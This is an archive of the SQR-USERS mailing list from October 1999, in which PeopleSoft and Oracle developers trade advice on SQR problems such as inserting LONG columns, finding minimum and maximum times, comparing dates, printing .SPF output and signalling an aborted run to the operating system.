Tue, 5 Oct 1999 16:34:27 EDT From: Jeff_Way OneWay_Consulting_Group Subject: Using SQR to INSERT a row with a LONG Column Hello all, The metrics: ========= SQR Version: 4.3.2 Oracle Version: 7.3.4 OS: Windows 95/98 (tried on two client machines) The problem: ========= I am attempting to INSERT into table 'A' from table 'A' while substituting KEY values based on user input. The SQL works in SQL-Plus, but causes an error when executed in SQR. Error received: (SQR 5528) ORACLE OEXEC error -1401 in cursor 8: ORA-01401: inserted value too large for column The code: ======= BEGIN-SQL INSERT INTO PS_GARN_SPEC ( EMPLID ,COMPANY ,GARNID {....fields deleted...} ,PRORATE_OVRD_AMT ,DEDCD ,GARN_REMARKS ) SELECT ( '[$VALUE1]' ,A.COMPANY ,A.GARNID {....fields deleted...} ,A.PRORATE_OVRD_AMT ,A.DEDCD ,A.GARN_REMARKS FROM PS_GARN_SPEC A WHERE {...blah-blah-blah...} END-SQL - - - - - - - - - - - - - - - - - - - - - - - - I am very confident that the error is with the GARN_REMARKS column, which in this case is defined in Oracle with a TYPE of [LONG]. As you can see, I am simply attempting to copy one row of data to the next. I have tried many permutations...all with various forms of error (or the same error). Some of the things I have tried: - Not specifying the LONG column in the VALUES clause and the SELECT clause - Using a NULL in the SELECT - Using '' - Using ' ' - Using an encoded value - Using a literal 'X' I have looked in various 'books' and 'manuals' at my disposal, and can't seem to find the answer. I have also searched other SQR libraries and cannot find an example of this anywhere. My guess is that this should be straightforward...but I fear that I am missing something (other than significant amounts of sleep and old friends). If anyone has ever INSERT'ed into a table from another table (or the same table), and the target table has a LONG column. Please let me know how you did it. Thanks in advance. ~Jeff Way OneWay Consulting Group, Inc. Phone: 978-764-2928 Email: jjway@aol.com "The reputation of a thousand years may be determined by the conduct of one hour." -Japanese Proverb From owner-sqr-users@list.iex.net Tue Oct 5 15:48:29 1999 Date: Tue, 5 Oct 1999 16:43:58 -0400 From: "Fay, Brannon" Subject: Re: Using SQR to INSERT a row with a LONG Column Have you tried replacing '[$Value1]' with just $Value1? -----Original Message----- From: Jeff_Way OneWay_Consulting_Group [mailto:JJWAY@AOL.COM] Sent: Tuesday, October 05, 1999 4:34 PM To: Multiple recipients of list SQR-USERS Subject: Using SQR to INSERT a row with a LONG Column Hello all, The metrics: ========= SQR Version: 4.3.2 Oracle Version: 7.3.4 OS: Windows 95/98 (tried on two client machines) The problem: ========= I am attempting to INSERT into table 'A' from table 'A' while substituting KEY values based on user input. The SQL works in SQL-Plus, but causes an error when executed in SQR. Error received: (SQR 5528) ORACLE OEXEC error -1401 in cursor 8: ORA-01401: inserted value too large for column The code: ======= BEGIN-SQL INSERT INTO PS_GARN_SPEC ( EMPLID ,COMPANY ,GARNID {....fields deleted...} ,PRORATE_OVRD_AMT ,DEDCD ,GARN_REMARKS ) SELECT ( '[$VALUE1]' ,A.COMPANY ,A.GARNID {....fields deleted...} ,A.PRORATE_OVRD_AMT ,A.DEDCD ,A.GARN_REMARKS FROM PS_GARN_SPEC A WHERE {...blah-blah-blah...} END-SQL - - - - - - - - - - - - - - - - - - - - - - - - I am very confident that the error is with the GARN_REMARKS column, which in this case is defined in Oracle with a TYPE of [LONG]. As you can see, I am simply attempting to copy one row of data to the next. I have tried many permutations...all with various forms of error (or the same error). Some of the things I have tried: - Not specifying the LONG column in the VALUES clause and the SELECT clause - Using a NULL in the SELECT - Using '' - Using ' ' - Using an encoded value - Using a literal 'X' I have looked in various 'books' and 'manuals' at my disposal, and can't seem to find the answer. I have also searched other SQR libraries and cannot find an example of this anywhere. My guess is that this should be straightforward...but I fear that I am missing something (other than significant amounts of sleep and old friends). If anyone has ever INSERT'ed into a table from another table (or the same table), and the target table has a LONG column. Please let me know how you did it. Thanks in advance. ~Jeff Way OneWay Consulting Group, Inc. Phone: 978-764-2928 Email: jjway@aol.com "The reputation of a thousand years may be determined by the conduct of one hour." -Japanese Proverb From owner-sqr-users@list.iex.net Tue Oct 5 16:00:38 1999 Date: Tue, 5 Oct 1999 16:45:13 -0400 From: Bob Buford-Abba Systems Subject: Re: Using SQR to INSERT a row with a LONG Column This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF0F72.861625B0 Content-Type: text/plain; charset="iso-8859-1" Hi Jeff, I found, using SQR v.3 and I forget what flavor Oracle (PS 5, 6, 7 depending on which module was in use) that we had to use DataMover to handle Long columns. Bob -----Original Message----- From: Jeff_Way OneWay_Consulting_Group [mailto:JJWAY@AOL.COM] Sent: Tuesday, October 05, 1999 4:34 PM To: Multiple recipients of list SQR-USERS Subject: Using SQR to INSERT a row with a LONG Column Hello all, The metrics: ========= SQR Version: 4.3.2 Oracle Version: 7.3.4 OS: Windows 95/98 (tried on two client machines) The problem: ========= I am attempting to INSERT into table 'A' from table 'A' while substituting KEY values based on user input. The SQL works in SQL-Plus, but causes an error when executed in SQR. Error received: (SQR 5528) ORACLE OEXEC error -1401 in cursor 8: ORA-01401: inserted value too large for column The code: ======= BEGIN-SQL INSERT INTO PS_GARN_SPEC ( EMPLID ,COMPANY ,GARNID {....fields deleted...} ,PRORATE_OVRD_AMT ,DEDCD ,GARN_REMARKS ) SELECT ( '[$VALUE1]' ,A.COMPANY ,A.GARNID {....fields deleted...} ,A.PRORATE_OVRD_AMT ,A.DEDCD ,A.GARN_REMARKS FROM PS_GARN_SPEC A WHERE {...blah-blah-blah...} END-SQL - - - - - - - - - - - - - - - - - - - - - - - - I am very confident that the error is with the GARN_REMARKS column, which in this case is defined in Oracle with a TYPE of [LONG]. As you can see, I am simply attempting to copy one row of data to the next. I have tried many permutations...all with various forms of error (or the same error). Some of the things I have tried: - Not specifying the LONG column in the VALUES clause and the SELECT clause - Using a NULL in the SELECT - Using '' - Using ' ' - Using an encoded value - Using a literal 'X' I have looked in various 'books' and 'manuals' at my disposal, and can't seem to find the answer. I have also searched other SQR libraries and cannot find an example of this anywhere. My guess is that this should be straightforward...but I fear that I am missing something (other than significant amounts of sleep and old friends). If anyone has ever INSERT'ed into a table from another table (or the same table), and the target table has a LONG column. Please let me know how you did it. Thanks in advance. ~Jeff Way OneWay Consulting Group, Inc. Phone: 978-764-2928 Email: jjway@aol.com "The reputation of a thousand years may be determined by the conduct of one hour." -Japanese Proverb ------_=_NextPart_001_01BF0F72.861625B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Using SQR to INSERT a row with a LONG Column

Hi Jeff,

I found, using SQR v.3 and I forget what flavor = Oracle (PS 5, 6, 7 depending on which module was in use) that we had to = use DataMover to handle Long columns.

Bob

-----Original Message-----
From: Jeff_Way OneWay_Consulting_Group [mailto:JJWAY@AOL.COM]
Sent: Tuesday, October 05, 1999 4:34 PM
To: Multiple recipients of list SQR-USERS
Subject: Using SQR to INSERT a row with a LONG = Column


Hello all,

The metrics:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
  SQR Version: 4.3.2
  Oracle Version: 7.3.4
  OS: Windows 95/98 (tried on two client = machines)

The problem:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
I am attempting to INSERT into table 'A' from table = 'A' while substituting
KEY values based on user input.  The SQL works = in SQL-Plus, but causes an
error when executed in SQR.

Error received:
(SQR 5528) ORACLE OEXEC error -1401 in cursor = 8:
   ORA-01401: inserted value too large for = column


The code:
=3D=3D=3D=3D=3D=3D=3D
BEGIN-SQL
INSERT
INTO PS_GARN_SPEC
(
EMPLID
,COMPANY
,GARNID
{....fields deleted...}
,PRORATE_OVRD_AMT
,DEDCD
,GARN_REMARKS
 )
SELECT
(
'[$VALUE1]'
,A.COMPANY
,A.GARNID
{....fields deleted...}
,A.PRORATE_OVRD_AMT
,A.DEDCD
,A.GARN_REMARKS
FROM PS_GARN_SPEC A
WHERE {...blah-blah-blah...}
END-SQL

- - - - - - - - - - - - - - - - - - - - - - - = -

I am very confident that the error is with the = GARN_REMARKS column, which in
this case is defined in Oracle with a TYPE of = [LONG].

As you can see, I am simply attempting to copy one = row of data to the next.
I have tried many permutations...all with various = forms of error (or the same
error).
Some of the things I have tried:
  - Not specifying the LONG column in the = VALUES clause and the SELECT clause
  - Using a NULL in the SELECT
  - Using ''
  - Using ' '
  - Using an encoded value
  - Using a literal 'X'

I have looked in various 'books' and 'manuals' at my = disposal, and can't seem
to find the answer.  I have also searched other = SQR libraries and cannot find
an example of this anywhere.  My guess is that = this should be
straightforward...but I fear that I am missing = something (other than
significant amounts of sleep and old = friends).

If anyone has ever INSERT'ed into a table from = another table (or the same
table), and the target table has a LONG = column.  Please let me know how you
did it.

Thanks in advance.

~Jeff Way

OneWay Consulting Group, Inc.
Phone: 978-764-2928
Email: jjway@aol.com

"The reputation of a thousand years may be = determined by the conduct of one
hour." -Japanese Proverb

------_=_NextPart_001_01BF0F72.861625B0-- From owner-sqr-users@list.iex.net Tue Oct 5 16:02:50 1999 Date: Tue, 5 Oct 1999 13:49:30 -0700 From: Deb Maynard Subject: Re: Finding minumums Thanks for the help so far...I've made some huge progress on this stuff...but, I'm still having problems. I've now successfully got my start and stop times substrung properly from the 'comments' field into variables: $start_tm and $end_tm. So, I've got a list for each employee for each day. How do I evaluate all of the values and choose the min $start_tm and max $end_tm. I know what you're thinking "I already told her!" but I'm a bit confused about how I should tackle this. For instance, one employee has 4 values for $start_tm for a single day. They are: 0800, 1000, 1400, 1500. I need the 0800 and that's it. Does anyone have a suggestion? Thanks so much! Deb Deb Maynard on 10/05/99 08:17:23 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Debra Maynard/HQ/Caltrans/CAGov) Subject: Finding minumums Hello, I am new to the SQR arena and I am pretty lost. I can do your basic selects and data manipulation, but I've just been assigned to a report modification that may be a little out of my league, so any and all help would be extremely appreciated. The client I'm working for has captured time data from one system and interfaced it into a 'comments' field in a PeopleSoft table. A typical row looks something like this: 800-1500--TRC: REG--HRS: 7 (start time, end time, time reporting code, number of hours). What I need to do is capture the start and end times and print them on the report. I have almost successfully done this using substrings (it gets tricky because some start times are 3 digits, some 4). The problem is, sometimes an employee has multiple rows, one containing the actual start time (the minimum of all of the start times) and another containing the actual end time (the maximum of all of the end times). Is there a way I can evaluate the substring variable and only select and print the one I need? I assume there is, but it definitely wasn't covered in my SQR class! I hope my explanation was clear. Please offer any help you can! Thanks. Deb From owner-sqr-users@list.iex.net Tue Oct 5 16:00:57 1999 Date: Tue, 5 Oct 1999 16:49:52 -0400 From: Vivek Pandian Subject: Re: .SPF printing If you want to print graphics declare laserjet or ps printer and do it. If you want something to be printed printer independent then .spf is the best way. Use -Ziv flag which will bring viewer automatically after the report is done. If you need more asst. send me specific details so that i can reply to the point. Have fun Vivek Pandian At 04:24 PM 10/5/99 , you wrote: > You wrote: > From what I understand, the > only way to display/print these "graphics" on the reports is to >generate a .spf >file. > >Not true. When you create a .lis file, the graphics look like a bunch of >weird numbers. But when you send it to the printer (dos command copy >filename.lis>lpt2 for example) the graphics come out. > >1) Make sure you declare the printer >2) I found that if I tried to say "print" before I used a graphic command, >for some reason my graphics wouldn't work (SQR 3.5) > I only vaguely remember this, as it was last year..... > >:) Kristin > From owner-sqr-users@list.iex.net Tue Oct 5 16:00:39 1999 Date: Tue, 5 Oct 1999 13:53:17 -0700 From: Robert Stojkovic Subject: Re: .SPF printing Check to see if the default font is proportional. If it is then the formatting will be off. Robert > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Paresh Patel > Sent: Tuesday, October 05, 1999 1:02 PM > To: Multiple recipients of list SQR-USERS > Subject: .SPF printing > > > I recently came across several reports which require the use of > the graphic > statement (horz-line, vert-line, box) in the SQR. From what I > understand, the > only way to display/print these "graphics" on the reports is to > generate a .spf > file. I tried using SQR Viewer and SQR Print to print the .spf > file, but the > report does not print properly. If anyone can assist me in any > manner, I'd > appreciate it. Thanks. > > > Paresh Patel > Software Engineer > Bell Atlantic NSI > From owner-sqr-users@list.iex.net Tue Oct 5 16:17:08 1999 Date: Tue, 5 Oct 1999 17:05:07 -0400 From: Vivek Pandian Subject: Re: Using SQR to INSERT a row with a LONG Column 1. You can not select and insert a long column. I don't know how you did it in SQL plus. This is one problem. 2. You said you replace some values with user inputs. I guess the user might enter a number which is stored in SQR in 6 decimal precision(default). Your table numeric column must not have that many precision. 3. Do the Select and insert separately if you want to insert long data type. Good luck Vivek Pandian At 04:34 PM 10/5/99 , you wrote: >Hello all, > >The metrics: >========= > SQR Version: 4.3.2 > Oracle Version: 7.3.4 > OS: Windows 95/98 (tried on two client machines) > >The problem: >========= >I am attempting to INSERT into table 'A' from table 'A' while substituting >KEY values based on user input. The SQL works in SQL-Plus, but causes an >error when executed in SQR. > >Error received: >(SQR 5528) ORACLE OEXEC error -1401 in cursor 8: > ORA-01401: inserted value too large for column > > >The code: >======= >BEGIN-SQL >INSERT >INTO PS_GARN_SPEC >( >EMPLID >,COMPANY >,GARNID >{....fields deleted...} >,PRORATE_OVRD_AMT >,DEDCD >,GARN_REMARKS > ) >SELECT >( >'[$VALUE1]' >,A.COMPANY >,A.GARNID >{....fields deleted...} >,A.PRORATE_OVRD_AMT >,A.DEDCD >,A.GARN_REMARKS >FROM PS_GARN_SPEC A >WHERE {...blah-blah-blah...} >END-SQL > >- - - - - - - - - - - - - - - - - - - - - - - - > >I am very confident that the error is with the GARN_REMARKS column, which in >this case is defined in Oracle with a TYPE of [LONG]. > >As you can see, I am simply attempting to copy one row of data to the next. >I have tried many permutations...all with various forms of error (or the same >error). >Some of the things I have tried: > - Not specifying the LONG column in the VALUES clause and the SELECT clause > - Using a NULL in the SELECT > - Using '' > - Using ' ' > - Using an encoded value > - Using a literal 'X' > >I have looked in various 'books' and 'manuals' at my disposal, and can't seem >to find the answer. I have also searched other SQR libraries and cannot find >an example of this anywhere. My guess is that this should be >straightforward...but I fear that I am missing something (other than >significant amounts of sleep and old friends). > >If anyone has ever INSERT'ed into a table from another table (or the same >table), and the target table has a LONG column. Please let me know how you >did it. > >Thanks in advance. > >~Jeff Way > >OneWay Consulting Group, Inc. >Phone: 978-764-2928 >Email: jjway@aol.com > >"The reputation of a thousand years may be determined by the conduct of one >hour." -Japanese Proverb > From owner-sqr-users@list.iex.net Tue Oct 5 16:21:27 1999 Date: Tue, 5 Oct 1999 17:13:38 -0400 From: Sam Spritzer Subject: Re: Finding minumums Deb... This is a rather crude way of doing it but if you want to make your life easy...create a table and unstring the variables into the table and then do a select MIN. Sam <<< Deb Maynard 10/ 5 4:49p >>> Thanks for the help so far...I've made some huge progress on this stuff...but, I'm still having problems. I've now successfully got my start and stop times substrung properly from the 'comments' field into variables: $start_tm and $end_tm. So, I've got a list for each employee for each day. How do I evaluate all of the values and choose the min $start_tm and max $end_tm. I know what you're thinking "I already told her!" but I'm a bit confused about how I should tackle this. For instance, one employee has 4 values for $start_tm for a single day. They are: 0800, 1000, 1400, 1500. I need the 0800 and that's it. Does anyone have a suggestion? Thanks so much! Deb Deb Maynard on 10/05/99 08:17:23 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Debra Maynard/HQ/Caltrans/CAGov) Subject: Finding minumums Hello, I am new to the SQR arena and I am pretty lost. I can do your basic selects and data manipulation, but I've just been assigned to a report modification that may be a little out of my league, so any and all help would be extremely appreciated. The client I'm working for has captured time data from one system and interfaced it into a 'comments' field in a PeopleSoft table. A typical row looks something like this: 800-1500--TRC: REG--HRS: 7 (start time, end time, time reporting code, number of hours). What I need to do is capture the start and end times and print them on the report. I have almost successfully done this using substrings (it gets tricky because some start times are 3 digits, some 4). The problem is, sometimes an employee has multiple rows, one containing the actual start time (the minimum of all of the start times) and another containing the actual end time (the maximum of all of the end times). Is there a way I can evaluate the substring variable and only select and print the one I need? I assume there is, but it definitely wasn't covered in my SQR class! I hope my explanation was clear. Please offer any help you can! Thanks. Deb From owner-sqr-users@list.iex.net Tue Oct 5 17:36:23 1999 Date: Tue, 5 Oct 1999 17:28:27 -0500 From: itzgee Subject: finding minimums The minimum should be the easier of the two. Select employee id, target_date !call two separate functions, one that gets the min and one that gets the max let $employ = &employee_id let $target_date = &whatever do get-min-time do get-max-time get-min-time select min(to_number((substr(&comments, [ insert code here])))) &min_time from some-table yada yada yada get max time select max(to_number((substr(&comments, [ insert code here])))) &max_time from some_table yada yada yada From owner-sqr-users@list.iex.net Tue Oct 5 17:47:22 1999 Date: Tue, 5 Oct 1999 16:40:04 -0600 From: Arturo Vega Subject: Re: Date Variables Hello to all, this is my first mail in the list and is only to tell kenny that you can't compare two strings (you see dates but in sqr are string variables). You must use date variables OR convert your dates to YYYYMMDD format (in PeopleSoft id DTU-DATE-FORMAT) so you can compare first year, than months and at the end the days. if you are using PeopleSoft applications use convert-to-dtu-date to format your string in dtu-format YYYYMMDD and use convert-from-dtu-date to leave it in native format. Please sorry about my english, and greetings from Mexico to everyone Arturo Vega PeopleSoft Consultant HRMS - Mexican Payroll Product Hello Everyone, I am using SQR 4.3.4 and am having a strange problem (or a severe brain burp). Can anyone tell me why the following works the way it does?: BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP BEGIN-PROCEDURE COMPARE-DATES LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE The log file output looks like this: MAX DATE = 01-SEP-1999 MIN DATE = 31-AUG-1999 MAXDATE = MINDATE I'm kind of stumped on this one. I think it has something to do with the internal "string" representation of the date variables, but all my juggling with the SQR.INI file settings didn't have any impact. I have also tried it with the "MOVE" command in place of the "LET" command above and, again, no difference. Oh, one more thing -- this happens consistently when one of the dates is an end-of-month date, and the other date is the following first-of-month date. OK Gurus, what am I missing? Thanks in advance, Kenny Melton Sr. Technical Architect Tandy Information Services PeopleSoft Financial Systems kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 18:03:19 1999 Date: Tue, 5 Oct 1999 15:56:53 -0700 From: Deb Maynard Subject: Re: finding minimums Thanks...it looks good...I'll give it a try!! itzgee on 10/05/99 03:28:27 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Debra Maynard/HQ/Caltrans/CAGov) Subject: finding minimums The minimum should be the easier of the two. Select employee id, target_date !call two separate functions, one that gets the min and one that gets the max let $employ = &employee_id let $target_date = &whatever do get-min-time do get-max-time get-min-time select min(to_number((substr(&comments, [ insert code here])))) &min_time from some-table yada yada yada get max time select max(to_number((substr(&comments, [ insert code here])))) &max_time from some_table yada yada yada From owner-sqr-users@list.iex.net Tue Oct 5 22:09:37 1999 Date: Tue, 5 Oct 1999 22:53:58 -0400 From: Amanda Parris Subject: Re: Using Xerox DocuPrint 4890 NPS Printer unsubscribe At 12:48 PM 10/5/99 -0400, you wrote: >Tony, > > >It's nice to hear from you again! > >Yes we will be using JDT. Our hope is that we can set up either JDT >files that essentially match the PeopleSoft setup01 and setup02 >declare-printer/declare-layout and then use the printer-init string to >specify the appropriate JDT to use when printing, or set up print queues >that will use the appropriate JDT. Does this sound like a viable >approach? > >Gina > > >-----Original Message----- >From: Tony DeLia [mailto:tdelia@EROLS.COM] >Sent: Tuesday, October 05, 1999 11:46 AM >To: Multiple recipients of list SQR-USERS >Subject: Re: Using Xerox DocuPrint 4890 NPS Printer > > >Gina, > > I've worked in the past with the Xerox 'intelligent' printers that >require JDT files (Job Description Tickets) and embedded print control >commands... STARTLM, SETJDT, etc... I don't recall the exact printer >model... You can include custom codes for each line of data that is >passed to the print server... the codes are defined on the server with >the position of the data in the file along with the mapping on the form >(data placement)... You create a from image (using PowerPoint, for >example) and the from data (from the file) is placed on top of the image >in the appropriate locations... Is this what you mean? If so e-mail and >I'll try to dig up what I can (this was a while ago)... > > Tony DeLia > >PS - I used this to create custom statements in PS A/R 7.5 >(Beginning/Ending balances, Aging, Detailed item activity in period, >discount summary, Correspondence Customer Roll-ups, etc... > >Bencke, Gina wrote: >> >> Does anyone have experience implementing SQR reports using the Xerox >> DocuPrint 4890 NPS Printer? If so I would like to discuss >> implementation options. >> >> Thanks. >> >> Gina Bencke > >-- >Tony DeLia >AnswerThink Consulting Group >PeopleSoft Solutions Practice - Delphi Partners >tdelia@erols.com >http://www.sqrtools.com > From owner-sqr-users@list.iex.net Wed Oct 6 08:42:05 1999 Date: Wed, 6 Oct 1999 06:20:55 -0500 From: DaveL Smith Subject: Re: Foot-Warner? Norman, I have been less than impressed with SQR ability to monitor and recover from errors. I don't know of any way that you can monitor a user terminating SQR. I have been having problems with ODBC connections failing during my program, and having to code and flag records accordingly so I can recover on the next run, its a real pain. The only suggestion I would have here is to write an entry at the end of your file if it completes successfully, then check for that, assume the user aborted if the file does not contain the last line. You could then inform the user to clean up their own mess, or offer to delete the offending fragments the next time the SQR was run. David L. Smith IBM Global Services Norman Dolph on 10/06/99 07:45:22 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: Subject: Foot-Warner? Warmest Thanks for previous help! - Here is the Problem... The application is selecting and writing records into a flat ASCII file, "c:\foobar.txt". It could run a long time. (Platform is PeopleSoft windows NT) The User is looking at the minimized SQRW button in the Tray. User gets bored and decides to bail out by right clicking this icon and selecting "Close." Thus the file on c: is PARTIALLY written and sitting there. ------ The question: Can the user's electing to ABORT fire an event WITHIN the SQR code to WRITE a footer message to this file before closing it? Such as: "WARNING! This file was terminated by operator, and may be corrupt or incomplete!" Alternatively, is there a way - within the SQR code - to close and blow away the file fragment if the user bails out. That way the user only gets all or none. All best, Norman Dolph From owner-sqr-users@list.iex.net Wed Oct 6 07:57:32 1999 Date: Wed, 6 Oct 1999 08:45:22 EDT From: Norman Dolph Subject: Foot-Warner? Warmest Thanks for previous help! - Here is the Problem... The application is selecting and writing records into a flat ASCII file, "c:\foobar.txt". It could run a long time. (Platform is PeopleSoft windows NT) The User is looking at the minimized SQRW button in the Tray. User gets bored and decides to bail out by right clicking this icon and selecting "Close." Thus the file on c: is PARTIALLY written and sitting there. ------ The question: Can the user's electing to ABORT fire an event WITHIN the SQR code to WRITE a footer message to this file before closing it? Such as: "WARNING! This file was terminated by operator, and may be corrupt or incomplete!" Alternatively, is there a way - within the SQR code - to close and blow away the file fragment if the user bails out. That way the user only gets all or none. All best, Norman Dolph From owner-sqr-users@list.iex.net Wed Oct 6 09:33:35 1999 Date: Wed, 6 Oct 1999 10:18:02 -0400 From: "Bencke, Gina" Subject: Re: Foot-Warner? Monitoring Success or lack there of Norman, It is not possible to trap a user event (such as abort) from within SQR. However it is possible to send a return status from the SQR to the operating system to indicate success or not. At the beginning of your SQR Program you can set the #return-status to a value indicating failure (which for Windows is 1), then as one of the last commands that will be executed set #return-status to success. If the program aborts in the middle of execution for any reason, including user intervention, the return status passed to the operating system will be failure. ! !Return Status ! #ifdef VMS #define GOOD-OS-STATUS 1 #define BAD-OS-STATUS 0 ! Added GMB 08/26/99 #else #define GOOD-OS-STATUS 0 #define BAD-OS-STATUS 1 ! Added GMB 08/26/99 #endif !---------------------------------------------------------------------- Begin-Report !---------------------------------------------------------------------- ! If the report errors out due to an execution error, you want to ! send a failure code to the operating system. move {BAD-OS-Status} to #Return-Status do Init-Report do Process-Main do Reset ! RESET.SQC ! Program was successful; send a success code to the operating system ! and update the Process Run Status move {Good-OS-Status} to #Return-Status do Stdapi-Term ! STDAPI.SQC End-Report Hope this helps! Gina Bencke Bencke Consulting Corporation gina@bencke.com -----Original Message----- From: DaveL Smith [mailto:davesmit@US.IBM.COM] Sent: Wednesday, October 06, 1999 7:21 AM To: Multiple recipients of list SQR-USERS Subject: Re: Foot-Warner? Norman, I have been less than impressed with SQR ability to monitor and recover from errors. I don't know of any way that you can monitor a user terminating SQR. I have been having problems with ODBC connections failing during my program, and having to code and flag records accordingly so I can recover on the next run, its a real pain. The only suggestion I would have here is to write an entry at the end of your file if it completes successfully, then check for that, assume the user aborted if the file does not contain the last line. You could then inform the user to clean up their own mess, or offer to delete the offending fragments the next time the SQR was run. David L. Smith IBM Global Services Norman Dolph on 10/06/99 07:45:22 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: Subject: Foot-Warner? Warmest Thanks for previous help! - Here is the Problem... The application is selecting and writing records into a flat ASCII file, "c:\foobar.txt". It could run a long time. (Platform is PeopleSoft windows NT) The User is looking at the minimized SQRW button in the Tray. User gets bored and decides to bail out by right clicking this icon and selecting "Close." Thus the file on c: is PARTIALLY written and sitting there. ------ The question: Can the user's electing to ABORT fire an event WITHIN the SQR code to WRITE a footer message to this file before closing it? Such as: "WARNING! This file was terminated by operator, and may be corrupt or incomplete!" Alternatively, is there a way - within the SQR code - to close and blow away the file fragment if the user bails out. That way the user only gets all or none. All best, Norman Dolph From owner-sqr-users@list.iex.net Wed Oct 6 09:52:15 1999 Date: Wed, 6 Oct 1999 09:40:26 -0500 From: itzgee Subject: foot warmer Add a second process to the run control that picks up the status of the first. If it fails, then delete the output file from the second sqr. I am not sure how you would do this. Perhaps you could write a parameter file to the disk that the second sqr reads to find out what to delete. From owner-sqr-users@list.iex.net Wed Oct 6 10:55:16 1999 Date: Wed, 6 Oct 1999 11:39:43 -0400 From: Dominick LoGiudice Subject: Running Sqr and using sqr parameters in process definition I can run an a sqr in the process sceduler no problems. When I set up the process defintion I see a sqr parameter option there. The documentation says you can set up a param for any field in your current panel group. I have a record in the panel group called pay_cntrl and a field called asofdate. So in the sqr parameter i did this append :pay_cntrl..asofdate How do I use this in my sqr ? From owner-sqr-users@list.iex.net Wed Oct 6 11:23:16 1999 Date: Wed, 6 Oct 1999 12:00:04 -0400 From: "John A. Hayes" Subject: Re: Running Sqr and using sqr parameters in process definition You will need to get the value from your run control record. Here's a code snippet... Begin-Procedure Get-Values Begin-Select OPRID &oprid RUN_CNTL_ID &runcntl FROM_CLAUSE &projnamein move &projnamein to $projnamein FROM PS_RUN_CNTL_HR WHERE OPRID = $prcs_oprid AND RUN_CNTL_ID = $prcs_run_cntl_id End-Select End-Procedure ! Get-Values John At 11:39 AM 10/6/99 -0400, you wrote: >I can run an a sqr in the process sceduler no problems. When I set up the >process >defintion I >see a sqr parameter option there. The documentation says you can set up a >param for >any field in >your current panel group. >I have a record in the panel group called pay_cntrl and a field called >asofdate. >So in the sqr parameter i did this >append :pay_cntrl..asofdate > >How do I use this in my sqr ? ---------------------------------------------- Hayes Systems Solutions, Inc. Canoga Park, CA mailto:owner@hss-usa.com http://www.hss-usa.com ---------------------------------------------- From owner-sqr-users@list.iex.net Wed Oct 6 11:40:52 1999 Date: Wed, 6 Oct 1999 12:29:23 -0400 From: Vanrathana Thang Subject: Problem with End of File printing. --Boundary_(ID_U8M4p+0x04u+dna1Amh2FA) Content-type: TEXT/PLAIN Content-transfer-encoding: 7BIT Hi SQRugs, Usually we uses the setup01 or setup02.sqc file as the layout. So now when im trying to customize the layout, I have problem when executing sqr report in PeopleSoft. The message is: But when i executed it with SQR client with the option -F flags( -FC:\windows\temp\ -ZIV %5 %6 %7 %8 %9), then i sent the *.Lis file into printer(copy *.lis lpt1) it was fine. The customizing layouts are, i had try out with new-report 'filename.lis' but still got the error msg. Does anyone has face with that problem before? I would like to thanks in advance for any helps or any suggestions. Van. --Boundary_(ID_U8M4p+0x04u+dna1Amh2FA) Content-type: APPLICATION/OCTET-STREAM; NAME=aalhr01a_bidon.sqr Content-disposition: ATTACHMENT; FILENAME=aalhr01a_bidon.sqr Content-transfer-encoding: BASE64 ISoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq DQohDQohIFByb2dyYW06ICAgICAgYWFsaHIwMWEuc3FyDQohDQohIERhdGU6ICAg ICAgICAgMTk5OS0wOS0yOA0KLi4uLi4uLi4uDQoNCiEgRGVmaW5lIENvbHVtbnMg UG9zaXRpb24NCg0KI2RlZmluZSBDb2wxICAgIDENCi4uLi4uLi4uLi4NCg0KISoq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpi ZWdpbi1zZXR1cA0KISoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqDQoNCiEgQ3VzdG9taXppbmcgTGF5b3V0DQoNCkRlY2xhcmUt TGF5b3V0IE15TGF5b3V0DQogICAgICAgIFBhcGVyLVNpemU9KDguNSwxMSkgICAg ICAgDQogICAgICAgIEZvcm1GZWVkPXllcw0KICAgICAgICBPcmllbnRhdGlvbj1Q b3J0cmFpdA0KICAgICAgICBUb3AtTWFyZ2luPTAuNQ0KICAgICAgICBMZWZ0LU1h cmdpbj0wLjUNCiAgICAgICAgTWF4LUNvbHVtbnM9MTI1ICAgICAgICAgICAgICAg ICANCiAgICAgICAgQ2hhci1XaWR0aD00LjAgICAgICAgICAgICAgICAgICANCiAg ICAgICAgTGluZS1IZWlnaHQ9MTEuMA0KICAgICAgICBCb3R0b20tTWFyZ2luPTAu NQ0KRW5kLURlY2xhcmUNCg0KDQpEZWNsYXJlLVJlcG9ydCBNeVJlcG9ydA0KICAg 